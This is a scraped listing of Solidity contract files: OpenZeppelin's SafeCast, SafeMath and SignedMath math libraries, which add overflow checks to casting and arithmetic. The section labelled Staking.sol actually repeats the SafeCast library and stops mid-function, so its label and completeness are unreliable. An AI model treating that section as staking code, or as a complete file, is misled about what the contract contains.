// SPDX-License-Identifier: MIT// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SafeCast.sol)// This file was procedurally generated from scripts/generate/templates/SafeCast.js.pragma solidity ^0.8.0;/** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */library SafeCast { /** * @dev Returns the downcasted uint248 from uint256, reverting on * overflow (when the input is greater than largest uint248). * * Counterpart to Solidity's `uint248` operator. * * Requirements: * * - input must fit into 248 bits * * _Available since v4.7._ */ function toUint248(uint256 value) internal pure returns (uint248) { require( value <= type(uint248).max, "SafeCast: value doesn't fit in 248 bits" ); return uint248(value); } /** * @dev Returns the downcasted uint240 from uint256, reverting on * overflow (when the input is greater than largest uint240). * * Counterpart to Solidity's `uint240` operator. * * Requirements: * * - input must fit into 240 bits * * _Available since v4.7._ */ function toUint240(uint256 value) internal pure returns (uint240) { require( value <= type(uint240).max, "SafeCast: value doesn't fit in 240 bits" ); return uint240(value); } /** * @dev Returns the downcasted uint232 from uint256, reverting on * overflow (when the input is greater than largest uint232). * * Counterpart to Solidity's `uint232` operator. * * Requirements: * * - input must fit into 232 bits * * _Available since v4.7._ */ function toUint232(uint256 value) internal pure returns (uint232) { require( value <= type(uint232).max, "SafeCast: value doesn't fit in 232 bits" ); return uint232(value); } /** * @dev Returns the downcasted uint224 from uint256, reverting on * overflow (when the input is greater than largest uint224). * * Counterpart to Solidity's `uint224` operator. * * Requirements: * * - input must fit into 224 bits * * _Available since v4.2._ */ function toUint224(uint256 value) internal pure returns (uint224) { require( value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits" ); return uint224(value); } /** * @dev Returns the downcasted uint216 from uint256, reverting on * overflow (when the input is greater than largest uint216). * * Counterpart to Solidity's `uint216` operator. * * Requirements: * * - input must fit into 216 bits * * _Available since v4.7._ */ function toUint216(uint256 value) internal pure returns (uint216) { require( value <= type(uint216).max, "SafeCast: value doesn't fit in 216 bits" ); return uint216(value); } /** * @dev Returns the downcasted uint208 from uint256, reverting on * overflow (when the input is greater than largest uint208). * * Counterpart to Solidity's `uint208` operator. * * Requirements: * * - input must fit into 208 bits * * _Available since v4.7._ */ function toUint208(uint256 value) internal pure returns (uint208) { require( value <= type(uint208).max, "SafeCast: value doesn't fit in 208 bits" ); return uint208(value); } /** * @dev Returns the downcasted uint200 from uint256, reverting on * overflow (when the input is greater than largest uint200). * * Counterpart to Solidity's `uint200` operator. * * Requirements: * * - input must fit into 200 bits * * _Available since v4.7._ */ function toUint200(uint256 value) internal pure returns (uint200) { require( value <= type(uint200).max, "SafeCast: value doesn't fit in 200 bits" ); return uint200(value); } /** * @dev Returns the downcasted uint192 from uint256, reverting on * overflow (when the input is greater than largest uint192). * * Counterpart to Solidity's `uint192` operator. * * Requirements: * * - input must fit into 192 bits * * _Available since v4.7._ */ function toUint192(uint256 value) internal pure returns (uint192) { require( value <= type(uint192).max, "SafeCast: value doesn't fit in 192 bits" ); return uint192(value); } /** * @dev Returns the downcasted uint184 from uint256, reverting on * overflow (when the input is greater than largest uint184). * * Counterpart to Solidity's `uint184` operator. * * Requirements: * * - input must fit into 184 bits * * _Available since v4.7._ */ function toUint184(uint256 value) internal pure returns (uint184) { require( value <= type(uint184).max, "SafeCast: value doesn't fit in 184 bits" ); return uint184(value); } /** * @dev Returns the downcasted uint176 from uint256, reverting on * overflow (when the input is greater than largest uint176). * * Counterpart to Solidity's `uint176` operator. * * Requirements: * * - input must fit into 176 bits * * _Available since v4.7._ */ function toUint176(uint256 value) internal pure returns (uint176) { require( value <= type(uint176).max, "SafeCast: value doesn't fit in 176 bits" ); return uint176(value); } /** * @dev Returns the downcasted uint168 from uint256, reverting on * overflow (when the input is greater than largest uint168). * * Counterpart to Solidity's `uint168` operator. * * Requirements: * * - input must fit into 168 bits * * _Available since v4.7._ */ function toUint168(uint256 value) internal pure returns (uint168) { require( value <= type(uint168).max, "SafeCast: value doesn't fit in 168 bits" ); return uint168(value); } /** * @dev Returns the downcasted uint160 from uint256, reverting on * overflow (when the input is greater than largest uint160). * * Counterpart to Solidity's `uint160` operator. * * Requirements: * * - input must fit into 160 bits * * _Available since v4.7._ */ function toUint160(uint256 value) internal pure returns (uint160) { require( value <= type(uint160).max, "SafeCast: value doesn't fit in 160 bits" ); return uint160(value); } /** * @dev Returns the downcasted uint152 from uint256, reverting on * overflow (when the input is greater than largest uint152). * * Counterpart to Solidity's `uint152` operator. * * Requirements: * * - input must fit into 152 bits * * _Available since v4.7._ */ function toUint152(uint256 value) internal pure returns (uint152) { require( value <= type(uint152).max, "SafeCast: value doesn't fit in 152 bits" ); return uint152(value); } /** * @dev Returns the downcasted uint144 from uint256, reverting on * overflow (when the input is greater than largest uint144). * * Counterpart to Solidity's `uint144` operator. * * Requirements: * * - input must fit into 144 bits * * _Available since v4.7._ */ function toUint144(uint256 value) internal pure returns (uint144) { require( value <= type(uint144).max, "SafeCast: value doesn't fit in 144 bits" ); return uint144(value); } /** * @dev Returns the downcasted uint136 from uint256, reverting on * overflow (when the input is greater than largest uint136). * * Counterpart to Solidity's `uint136` operator. * * Requirements: * * - input must fit into 136 bits * * _Available since v4.7._ */ function toUint136(uint256 value) internal pure returns (uint136) { require( value <= type(uint136).max, "SafeCast: value doesn't fit in 136 bits" ); return uint136(value); } /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v2.5._ */ function toUint128(uint256 value) internal pure returns (uint128) { require( value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits" ); return uint128(value); } /** * @dev Returns the downcasted uint120 from uint256, reverting on * overflow (when the input is greater than largest uint120). * * Counterpart to Solidity's `uint120` operator. * * Requirements: * * - input must fit into 120 bits * * _Available since v4.7._ */ function toUint120(uint256 value) internal pure returns (uint120) { require( value <= type(uint120).max, "SafeCast: value doesn't fit in 120 bits" ); return uint120(value); } /** * @dev Returns the downcasted uint112 from uint256, reverting on * overflow (when the input is greater than largest uint112). * * Counterpart to Solidity's `uint112` operator. * * Requirements: * * - input must fit into 112 bits * * _Available since v4.7._ */ function toUint112(uint256 value) internal pure returns (uint112) { require( value <= type(uint112).max, "SafeCast: value doesn't fit in 112 bits" ); return uint112(value); } /** * @dev Returns the downcasted uint104 from uint256, reverting on * overflow (when the input is greater than largest uint104). * * Counterpart to Solidity's `uint104` operator. * * Requirements: * * - input must fit into 104 bits * * _Available since v4.7._ */ function toUint104(uint256 value) internal pure returns (uint104) { require( value <= type(uint104).max, "SafeCast: value doesn't fit in 104 bits" ); return uint104(value); } /** * @dev Returns the downcasted uint96 from uint256, reverting on * overflow (when the input is greater than largest uint96). * * Counterpart to Solidity's `uint96` operator. * * Requirements: * * - input must fit into 96 bits * * _Available since v4.2._ */ function toUint96(uint256 value) internal pure returns (uint96) { require( value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits" ); return uint96(value); } /** * @dev Returns the downcasted uint88 from uint256, reverting on * overflow (when the input is greater than largest uint88). * * Counterpart to Solidity's `uint88` operator. * * Requirements: * * - input must fit into 88 bits * * _Available since v4.7._ */ function toUint88(uint256 value) internal pure returns (uint88) { require( value <= type(uint88).max, "SafeCast: value doesn't fit in 88 bits" ); return uint88(value); } /** * @dev Returns the downcasted uint80 from uint256, reverting on * overflow (when the input is greater than largest uint80). * * Counterpart to Solidity's `uint80` operator. * * Requirements: * * - input must fit into 80 bits * * _Available since v4.7._ */ function toUint80(uint256 value) internal pure returns (uint80) { require( value <= type(uint80).max, "SafeCast: value doesn't fit in 80 bits" ); return uint80(value); } /** * @dev Returns the downcasted uint72 from uint256, reverting on * overflow (when the input is greater than largest uint72). * * Counterpart to Solidity's `uint72` operator. * * Requirements: * * - input must fit into 72 bits * * _Available since v4.7._ */ function toUint72(uint256 value) internal pure returns (uint72) { require( value <= type(uint72).max, "SafeCast: value doesn't fit in 72 bits" ); return uint72(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v2.5._ */ function toUint64(uint256 value) internal pure returns (uint64) { require( value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits" ); return uint64(value); } /** * @dev Returns the downcasted uint56 from uint256, reverting on * overflow (when the input is greater than largest uint56). * * Counterpart to Solidity's `uint56` operator. * * Requirements: * * - input must fit into 56 bits * * _Available since v4.7._ */ function toUint56(uint256 value) internal pure returns (uint56) { require( value <= type(uint56).max, "SafeCast: value doesn't fit in 56 bits" ); return uint56(value); } /** * @dev Returns the downcasted uint48 from uint256, reverting on * overflow (when the input is greater than largest uint48). * * Counterpart to Solidity's `uint48` operator. * * Requirements: * * - input must fit into 48 bits * * _Available since v4.7._ */ function toUint48(uint256 value) internal pure returns (uint48) { require( value <= type(uint48).max, "SafeCast: value doesn't fit in 48 bits" ); return uint48(value); } /** * @dev Returns the downcasted uint40 from uint256, reverting on * overflow (when the input is greater than largest uint40). * * Counterpart to Solidity's `uint40` operator. * * Requirements: * * - input must fit into 40 bits * * _Available since v4.7._ */ function toUint40(uint256 value) internal pure returns (uint40) { require( value <= type(uint40).max, "SafeCast: value doesn't fit in 40 bits" ); return uint40(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v2.5._ */ function toUint32(uint256 value) internal pure returns (uint32) { require( value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits" ); return uint32(value); } /** * @dev Returns the downcasted uint24 from uint256, reverting on * overflow (when the input is greater than largest uint24). * * Counterpart to Solidity's `uint24` operator. * * Requirements: * * - input must fit into 24 bits * * _Available since v4.7._ */ function toUint24(uint256 value) internal pure returns (uint24) { require( value <= type(uint24).max, "SafeCast: value doesn't fit in 24 bits" ); return uint24(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v2.5._ */ function toUint16(uint256 value) internal pure returns (uint16) { require( value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits" ); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits * * _Available since v2.5._ */ function toUint8(uint256 value) internal pure returns (uint8) { require( value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits" ); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. * * _Available since v3.0._ */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int248 from int256, reverting on * overflow (when the input is less than smallest int248 or * greater than largest int248). * * Counterpart to Solidity's `int248` operator. * * Requirements: * * - input must fit into 248 bits * * _Available since v4.7._ */ function toInt248(int256 value) internal pure returns (int248 downcasted) { downcasted = int248(value); require(downcasted == value, "SafeCast: value doesn't fit in 248 bits"); } /** * @dev Returns the downcasted int240 from int256, reverting on * overflow (when the input is less than smallest int240 or * greater than largest int240). * * Counterpart to Solidity's `int240` operator. * * Requirements: * * - input must fit into 240 bits * * _Available since v4.7._ */ function toInt240(int256 value) internal pure returns (int240 downcasted) { downcasted = int240(value); require(downcasted == value, "SafeCast: value doesn't fit in 240 bits"); } /** * @dev Returns the downcasted int232 from int256, reverting on * overflow (when the input is less than smallest int232 or * greater than largest int232). * * Counterpart to Solidity's `int232` operator. * * Requirements: * * - input must fit into 232 bits * * _Available since v4.7._ */ function toInt232(int256 value) internal pure returns (int232 downcasted) { downcasted = int232(value); require(downcasted == value, "SafeCast: value doesn't fit in 232 bits"); } /** * @dev Returns the downcasted int224 from int256, reverting on * overflow (when the input is less than smallest int224 or * greater than largest int224). * * Counterpart to Solidity's `int224` operator. * * Requirements: * * - input must fit into 224 bits * * _Available since v4.7._ */ function toInt224(int256 value) internal pure returns (int224 downcasted) { downcasted = int224(value); require(downcasted == value, "SafeCast: value doesn't fit in 224 bits"); } /** * @dev Returns the downcasted int216 from int256, reverting on * overflow (when the input is less than smallest int216 or * greater than largest int216). * * Counterpart to Solidity's `int216` operator. * * Requirements: * * - input must fit into 216 bits * * _Available since v4.7._ */ function toInt216(int256 value) internal pure returns (int216 downcasted) { downcasted = int216(value); require(downcasted == value, "SafeCast: value doesn't fit in 216 bits"); } /** * @dev Returns the downcasted int208 from int256, reverting on * overflow (when the input is less than smallest int208 or * greater than largest int208). * * Counterpart to Solidity's `int208` operator. * * Requirements: * * - input must fit into 208 bits * * _Available since v4.7._ */ function toInt208(int256 value) internal pure returns (int208 downcasted) { downcasted = int208(value); require(downcasted == value, "SafeCast: value doesn't fit in 208 bits"); } /** * @dev Returns the downcasted int200 from int256, reverting on * overflow (when the input is less than smallest int200 or * greater than largest int200). * * Counterpart to Solidity's `int200` operator. * * Requirements: * * - input must fit into 200 bits * * _Available since v4.7._ */ function toInt200(int256 value) internal pure returns (int200 downcasted) { downcasted = int200(value); require(downcasted == value, "SafeCast: value doesn't fit in 200 bits"); } /** * @dev Returns the downcasted int192 from int256, reverting on * overflow (when the input is less than smallest int192 or * greater than largest int192). * * Counterpart to Solidity's `int192` operator. * * Requirements: * * - input must fit into 192 bits * * _Available since v4.7._ */ function toInt192(int256 value) internal pure returns (int192 downcasted) { downcasted = int192(value); require(downcasted == value, "SafeCast: value doesn't fit in 192 bits"); } /** * @dev Returns the downcasted int184 from int256, reverting on * overflow (when the input is less than smallest int184 or * greater than largest int184). * * Counterpart to Solidity's `int184` operator. * * Requirements: * * - input must fit into 184 bits * * _Available since v4.7._ */ function toInt184(int256 value) internal pure returns (int184 downcasted) { downcasted = int184(value); require(downcasted == value, "SafeCast: value doesn't fit in 184 bits"); } /** * @dev Returns the downcasted int176 from int256, reverting on * overflow (when the input is less than smallest int176 or * greater than largest int176). * * Counterpart to Solidity's `int176` operator. * * Requirements: * * - input must fit into 176 bits * * _Available since v4.7._ */ function toInt176(int256 value) internal pure returns (int176 downcasted) { downcasted = int176(value); require(downcasted == value, "SafeCast: value doesn't fit in 176 bits"); } /** * @dev Returns the downcasted int168 from int256, reverting on * overflow (when the input is less than smallest int168 or * greater than largest int168). * * Counterpart to Solidity's `int168` operator. * * Requirements: * * - input must fit into 168 bits * * _Available since v4.7._ */ function toInt168(int256 value) internal pure returns (int168 downcasted) { downcasted = int168(value); require(downcasted == value, "SafeCast: value doesn't fit in 168 bits"); } /** * @dev Returns the downcasted int160 from int256, reverting on * overflow (when the input is less than smallest int160 or * greater than largest int160). * * Counterpart to Solidity's `int160` operator. * * Requirements: * * - input must fit into 160 bits * * _Available since v4.7._ */ function toInt160(int256 value) internal pure returns (int160 downcasted) { downcasted = int160(value); require(downcasted == value, "SafeCast: value doesn't fit in 160 bits"); } /** * @dev Returns the downcasted int152 from int256, reverting on * overflow (when the input is less than smallest int152 or * greater than largest int152). * * Counterpart to Solidity's `int152` operator. * * Requirements: * * - input must fit into 152 bits * * _Available since v4.7._ */ function toInt152(int256 value) internal pure returns (int152 downcasted) { downcasted = int152(value); require(downcasted == value, "SafeCast: value doesn't fit in 152 bits"); } /** * @dev Returns the downcasted int144 from int256, reverting on * overflow (when the input is less than smallest int144 or * greater than largest int144). * * Counterpart to Solidity's `int144` operator. * * Requirements: * * - input must fit into 144 bits * * _Available since v4.7._ */ function toInt144(int256 value) internal pure returns (int144 downcasted) { downcasted = int144(value); require(downcasted == value, "SafeCast: value doesn't fit in 144 bits"); } /** * @dev Returns the downcasted int136 from int256, reverting on * overflow (when the input is less than smallest int136 or * greater than largest int136). * * Counterpart to Solidity's `int136` operator. * * Requirements: * * - input must fit into 136 bits * * _Available since v4.7._ */ function toInt136(int256 value) internal pure returns (int136 downcasted) { downcasted = int136(value); require(downcasted == value, "SafeCast: value doesn't fit in 136 bits"); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128 downcasted) { downcasted = int128(value); require(downcasted == value, "SafeCast: value doesn't fit in 128 bits"); } /** * @dev Returns the downcasted int120 from int256, reverting on * overflow (when the input is less than smallest int120 or * greater than largest int120). * * Counterpart to Solidity's `int120` operator. * * Requirements: * * - input must fit into 120 bits * * _Available since v4.7._ */ function toInt120(int256 value) internal pure returns (int120 downcasted) { downcasted = int120(value); require(downcasted == value, "SafeCast: value doesn't fit in 120 bits"); } /** * @dev Returns the downcasted int112 from int256, reverting on * overflow (when the input is less than smallest int112 or * greater than largest int112). * * Counterpart to Solidity's `int112` operator. * * Requirements: * * - input must fit into 112 bits * * _Available since v4.7._ */ function toInt112(int256 value) internal pure returns (int112 downcasted) { downcasted = int112(value); require(downcasted == value, "SafeCast: value doesn't fit in 112 bits"); } /** * @dev Returns the downcasted int104 from int256, reverting on * overflow (when the input is less than smallest int104 or * greater than largest int104). * * Counterpart to Solidity's `int104` operator. * * Requirements: * * - input must fit into 104 bits * * _Available since v4.7._ */ function toInt104(int256 value) internal pure returns (int104 downcasted) { downcasted = int104(value); require(downcasted == value, "SafeCast: value doesn't fit in 104 bits"); } /** * @dev Returns the downcasted int96 from int256, reverting on * overflow (when the input is less than smallest int96 or * greater than largest int96). * * Counterpart to Solidity's `int96` operator. * * Requirements: * * - input must fit into 96 bits * * _Available since v4.7._ */ function toInt96(int256 value) internal pure returns (int96 downcasted) { downcasted = int96(value); require(downcasted == value, "SafeCast: value doesn't fit in 96 bits"); } /** * @dev Returns the downcasted int88 from int256, reverting on * overflow (when the input is less than smallest int88 or * greater than largest int88). * * Counterpart to Solidity's `int88` operator. * * Requirements: * * - input must fit into 88 bits * * _Available since v4.7._ */ function toInt88(int256 value) internal pure returns (int88 downcasted) { downcasted = int88(value); require(downcasted == value, "SafeCast: value doesn't fit in 88 bits"); } /** * @dev Returns the downcasted int80 from int256, reverting on * overflow (when the input is less than smallest int80 or * greater than largest int80). * * Counterpart to Solidity's `int80` operator. * * Requirements: * * - input must fit into 80 bits * * _Available since v4.7._ */ function toInt80(int256 value) internal pure returns (int80 downcasted) { downcasted = int80(value); require(downcasted == value, "SafeCast: value doesn't fit in 80 bits"); } /** * @dev Returns the downcasted int72 from int256, reverting on * overflow (when the input is less than smallest int72 or * greater than largest int72). * * Counterpart to Solidity's `int72` operator. * * Requirements: * * - input must fit into 72 bits * * _Available since v4.7._ */ function toInt72(int256 value) internal pure returns (int72 downcasted) { downcasted = int72(value); require(downcasted == value, "SafeCast: value doesn't fit in 72 bits"); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64 downcasted) { downcasted = int64(value); require(downcasted == value, "SafeCast: value doesn't fit in 64 bits"); } /** * @dev Returns the downcasted int56 from int256, reverting on * overflow (when the input is less than smallest int56 or * greater than largest int56). * * Counterpart to Solidity's `int56` operator. * * Requirements: * * - input must fit into 56 bits * * _Available since v4.7._ */ function toInt56(int256 value) internal pure returns (int56 downcasted) { downcasted = int56(value); require(downcasted == value, "SafeCast: value doesn't fit in 56 bits"); } /** * @dev Returns the downcasted int48 from int256, reverting on * overflow (when the input is less than smallest int48 or * greater than largest int48). * * Counterpart to Solidity's `int48` operator. * * Requirements: * * - input must fit into 48 bits * * _Available since v4.7._ */ function toInt48(int256 value) internal pure returns (int48 downcasted) { downcasted = int48(value); require(downcasted == value, "SafeCast: value doesn't fit in 48 bits"); } /** * @dev Returns the downcasted int40 from int256, reverting on * overflow (when the input is less than smallest int40 or * greater than largest int40). * * Counterpart to Solidity's `int40` operator. * * Requirements: * * - input must fit into 40 bits * * _Available since v4.7._ */ function toInt40(int256 value) internal pure returns (int40 downcasted) { downcasted = int40(value); require(downcasted == value, "SafeCast: value doesn't fit in 40 bits"); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32 downcasted) { downcasted = int32(value); require(downcasted == value, "SafeCast: value doesn't fit in 32 bits"); } /** * @dev Returns the downcasted int24 from int256, reverting on * overflow (when the input is less than smallest int24 or * greater than largest int24). * * Counterpart to Solidity's `int24` operator. * * Requirements: * * - input must fit into 24 bits * * _Available since v4.7._ */ function toInt24(int256 value) internal pure returns (int24 downcasted) { downcasted = int24(value); require(downcasted == value, "SafeCast: value doesn't fit in 24 bits"); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16 downcasted) { downcasted = int16(value); require(downcasted == value, "SafeCast: value doesn't fit in 16 bits"); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8 downcasted) { downcasted = int8(value); require(downcasted == value, "SafeCast: value doesn't fit in 8 bits"); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. * * _Available since v3.0._ */ function toInt256(uint256 value) internal pure returns (int256) { // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive require( value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256" ); return int256(value); }}

File 11 of 14: SafeMath.sol

library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } }}

File 12 of 14: SignedMath.sol

// SPDX-License-Identifier: MIT// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol)pragma solidity ^0.8.0;/** * @dev Standard signed math utilities missing in the Solidity language. */library SignedMath { /** * @dev Returns the largest of two signed numbers. */ function max(int256 a, int256 b) internal pure returns (int256) { return a > b ? a : b; } /** * @dev Returns the smallest of two signed numbers. */ function min(int256 a, int256 b) internal pure returns (int256) { return a < b ? a : b; } /** * @dev Returns the average of two signed numbers without overflow. * The result is rounded towards zero. */ function average(int256 a, int256 b) internal pure returns (int256) { // Formula from the book "Hacker's Delight" int256 x = (a & b) + ((a ^ b) >> 1); return x + (int256(uint256(x) >> 255) & (a ^ b)); } /** * @dev Returns the absolute unsigned value of a signed value. */ function abs(int256 n) internal pure returns (uint256) { unchecked { // must be unchecked in order to support `n = type(int256).min` return uint256(n >= 0 ? n : -n); } }}

File 13 of 14: Staking.sol

// SPDX-License-Identifier: MIT// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SafeCast.sol)// This file was procedurally generated from scripts/generate/templates/SafeCast.js.pragma solidity ^0.8.0;/** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */library SafeCast { /** * @dev Returns the downcasted uint248 from uint256, reverting on * overflow (when the input is greater than largest uint248). * * Counterpart to Solidity's `uint248` operator. * * Requirements: * * - input must fit into 248 bits * * _Available since v4.7._ */ function toUint248(uint256 value) internal pure returns (uint248) { require( value <= type(uint248).max, "SafeCast: value doesn't fit in 248 bits" ); return uint248(value); } /** * @dev Returns the downcasted uint240 from uint256, reverting on * overflow (when the input is greater than largest uint240). * * Counterpart to Solidity's `uint240` operator. * * Requirements: * * - input must fit into 240 bits * * _Available since v4.7._ */ function toUint240(uint256 value) internal pure returns (uint240) { require( value <= type(uint240).max, "SafeCast: value doesn't fit in 240 bits" ); return uint240(value); } /** * @dev Returns the downcasted uint232 from uint256, reverting on * overflow (when the input is greater than largest uint232). * * Counterpart to Solidity's `uint232` operator. * * Requirements: * * - input must fit into 232 bits * * _Available since v4.7._ */ function toUint232(uint256 value) internal pure returns (uint232) { require( value <= type(uint232).max, "SafeCast: value doesn't fit in 232 bits" ); return uint232(value); } /** * @dev Returns the downcasted uint224 from uint256, reverting on * overflow (when the input is greater than largest uint224). * * Counterpart to Solidity's `uint224` operator. * * Requirements: * * - input must fit into 224 bits * * _Available since v4.2._ */ function toUint224(uint256 value) internal pure returns (uint224) { require( value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits" ); return uint224(value); } /** * @dev Returns the downcasted uint216 from uint256, reverting on * overflow (when the input is greater than largest uint216). * * Counterpart to Solidity's `uint216` operator. * * Requirements: * * - input must fit into 216 bits * * _Available since v4.7._ */ function toUint216(uint256 value) internal pure returns (uint216) { require( value <= type(uint216).max, "SafeCast: value doesn't fit in 216 bits" ); return uint216(value); } /** * @dev Returns the downcasted uint208 from uint256, reverting on * overflow (when the input is greater than largest uint208). * * Counterpart to Solidity's `uint208` operator. * * Requirements: * * - input must fit into 208 bits * * _Available since v4.7._ */ function toUint208(uint256 value) 